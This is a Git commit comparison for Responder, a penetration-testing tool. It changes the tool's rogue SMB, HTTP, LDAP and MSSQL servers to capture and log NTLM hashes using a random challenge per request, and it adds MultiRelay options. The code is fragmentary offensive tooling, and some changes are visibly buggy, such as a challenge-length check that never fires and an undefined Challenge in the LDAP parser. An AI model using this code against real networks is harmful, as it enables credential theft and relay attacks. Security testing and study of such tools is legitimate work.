Compare commits

..

15 Commits

Author SHA1 Message Date
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
lgandx
1d38cd39af Added: Random challenge for each requests (default) 2017-01-03 17:35:49 -03:00
lgandx
17dc81cb68 Added paypal button 2016-12-21 11:53:33 -03:00
lgandx
ab2d8907f0 Added: Scripting support. -c and -d command line switch 2016-11-18 11:55:16 -03:00
lgandx
730808c83c Added: BTC donation address 2016-11-12 12:28:13 -03:00
lgandx
b455ff406f re-fixed Typo 2016-11-10 14:28:16 -03:00
lgandx
aff17ca9d3 MultiRelay now executes WMIC commands instead of bat files 2016-11-10 14:24:54 -03:00
lgandx
62d7dc4080 Merge pull request #18 from trustedsec/patch-1
Update RelayMultiCore.py
2016-11-10 10:57:18 -03:00
trustedsec
cad3adc319 Update RelayMultiCore.py
Minor typo fixes, nothing major.
2016-11-10 14:13:13 +01:00
lgandx
fc2aadca6e Minor fix 2016-11-09 14:12:37 -03:00
lgandx
90071187cd Merge pull request #17 from leonjza/master
Check if the platform is macOS before setting TCP_KEEPIDLE
2016-11-02 11:18:10 -03:00
Leon Jacobs
bcac8c4166 Check if the platform is macOS before trying to set a non-exported
TCP_KEEPIDLE option
2016-11-02 09:25:37 +02:00
lgandx
4a7499df03 Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. 2016-10-20 23:43:34 -03:00
lgandx
581d7e6849 Merge pull request #14 from nvssks/master
Patch for Android 4.x terminals that are missing some linux commands
2016-10-20 01:03:10 -03:00
Nikos Vassakis
f321c1bbcc Patch for Android 4.x terminals that are missing some linux commands 2016-10-19 18:24:12 +01:00
11 changed files with 141 additions and 90 deletions

View File

@@ -162,15 +162,24 @@ Options:
-v, --verbose Increase verbosity. -v, --verbose Increase verbosity.
## Donation ##
You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
Or via Paypal:
[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
## Copyright ## ## Copyright ##
NBT-NS/LLMNR Responder NBT-NS/LLMNR Responder
Responder, a network take-over set of tools created and maintained by Laurent Gaffie. Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
email: laurent.gaffie@gmail.com email: laurent.gaffie@gmail.com
This program is free software: you can redistribute it and/or modify This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or the Free Software Foundation, either version 3 of the License, or

View File

@@ -13,8 +13,9 @@ HTTPS = On
DNS = On DNS = On
LDAP = On LDAP = On
; Custom challenge ; Custom challenge.
Challenge = 1122334455667788 ; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
; SQLite Database file ; SQLite Database file
; Delete this file to re-capture previously captured hashes ; Delete this file to re-capture previously captured hashes

View File

@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash. # Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client, module): def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[46:48])[0] HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal) WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({ SaveToDb({
'module': module, 'module': module,
'type': 'NTLMv1', 'type': 'NTLMv1',
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[44:46])[0] HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({ SaveToDb({
'module': module, 'module': module,
@@ -173,7 +173,7 @@ def GrabURL(data, host):
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client): def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
@@ -192,13 +192,14 @@ def PacketSequence(data, client):
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) GrabReferer(data, client)
GrabHost(data, client) GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate() Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
module = "WebDAV" module = "WebDAV"
else: else:
module = "HTTP" module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module) ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,6 +266,7 @@ class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge()
for x in range(2): for x in range(2):
self.request.settimeout(3) self.request.settimeout(3)
data = self.request.recv(8092) data = self.request.recv(8092)
@@ -277,7 +279,7 @@ class HTTP(BaseRequestHandler):
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else: else:
Buffer = PacketSequence(data,self.client_address[0]) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer) self.request.send(Buffer)
except socket.error: except socket.error:
pass pass
@@ -291,6 +293,7 @@ class HTTPS(StreamRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092) data = self.exchange.recv(8092)
self.exchange.settimeout(0.5) self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0]) Buffer = WpadCustom(data,self.client_address[0])
@@ -301,7 +304,7 @@ class HTTPS(StreamRequestHandler):
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else: else:
Buffer = PacketSequence(data,self.client_address[0]) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer) self.exchange.send(Buffer)
except: except:
pass pass

View File

@@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0] UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
@@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
if LMhashLen < 2 and settings.Config.Verbose: if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication") print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client): def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data): if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge) NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data): elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client) ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client): def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84': if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0] MessageSequence = struct.unpack('<b',data[8:9])[0]
@@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
}) })
if sasl == "\xA3": if sasl == "\xA3":
Buffer = ParseNTLM(data,client) Buffer = ParseNTLM(data,client, Challenge)
return Buffer return Buffer
elif Operation == "\x63": elif Operation == "\x63":
@@ -111,7 +111,8 @@ class LDAP(BaseRequestHandler):
while True: while True:
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(8092) data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0]) Challenge = RandomChallenge()
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(Buffer)

View File

@@ -52,7 +52,7 @@ class TDS_Login_Packet:
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client): def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:] SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0] LMhashLen = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24: if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
}) })
if NthashLen > 60: if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler):
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(0.1) self.request.settimeout(0.1)
Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
@@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler):
if data[0] == "\x10": # NegoSSP if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data): if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate() Packet.calculate()
Buffer = str(Packet) Buffer = str(Packet)
self.request.send(Buffer) self.request.send(Buffer)

View File

@@ -88,7 +88,7 @@ def GrabSessionID(data):
SessionID = data[44:52] SessionID = data[44:52]
return SessionID return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -136,7 +136,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
}) })
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2 def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:] SSPIStart = data[113:]
data = data[113:] data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
@@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
UserLen = struct.unpack('<H',data[38:40])[0] UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0] UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'SMBv2', 'module': 'SMBv2',
'type': 'NTLMv2-SSP', 'type': 'NTLMv2-SSP',
@@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2 def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
@@ -171,7 +171,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper() LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper() NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -185,7 +185,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
if NthashLen == 24: if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper() LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -221,6 +221,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(1) self.request.settimeout(1)
Challenge = RandomChallenge()
if not data: if not data:
break break
@@ -233,7 +234,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
except: except:
pass pass
##Negotiate proto answer SMBv2. ##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -255,7 +255,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 2 answer SMBv2. ## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
@@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024) data = self.request.recv(1024)
## Session Setup 3 answer SMBv2. ## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0]) ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data() t = SMB2Session2Data()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
@@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else: else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
@@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
else: else:
# Parse NTLMSSP_AUTH packet # Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0]) ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any # Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
try: try:
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(1024) data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139 if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer) self.request.send(Buffer)
@@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
if data[8:10] == "\x72\x00": #Negotiate proto answer. if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate() Body.calculate()
Packet = str(head)+str(Body) Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer) self.request.send(Buffer)
else: else:
ParseLMNTHash(data,self.client_address[0]) ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = struct.pack(">i", len(''.join(Packet))) + Packet

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.0' __version__ = 'Responder 2.3.3.2'
class Settings: class Settings:
@@ -195,14 +195,19 @@ class Settings:
# Set up Challenge # Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge') self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
self.NumChal = "random"
if len(self.NumChal) is not 16: if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1) sys.exit(-1)
self.Challenge = "" self.Challenge = ""
for i in range(0, len(self.NumChal),2): if self.NumChal.lower() == 'random':
self.Challenge += self.NumChal[i:i+2].decode("hex") pass
else:
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging # Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -222,12 +227,29 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log') self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler) self.AnalyzeLogger.addHandler(ALog_Handler)
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) except subprocess.CalledProcessError as ex:
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) NetworkCard = "Error fetching Network Interfaces:", ex
utils.DumpConfig(self.ResponderConfigDump, Message) pass
utils.DumpConfig(self.ResponderConfigDump,str(self)) try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print "Missing Module:", ex
pass
def init(): def init():
global Config global Config

View File

@@ -36,7 +36,7 @@ from SMBFinger.Finger import RunFinger
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "1.0" __version__ = "1.2"
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
@@ -50,7 +50,9 @@ def UserCallBack(op, value, dmy, parser):
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
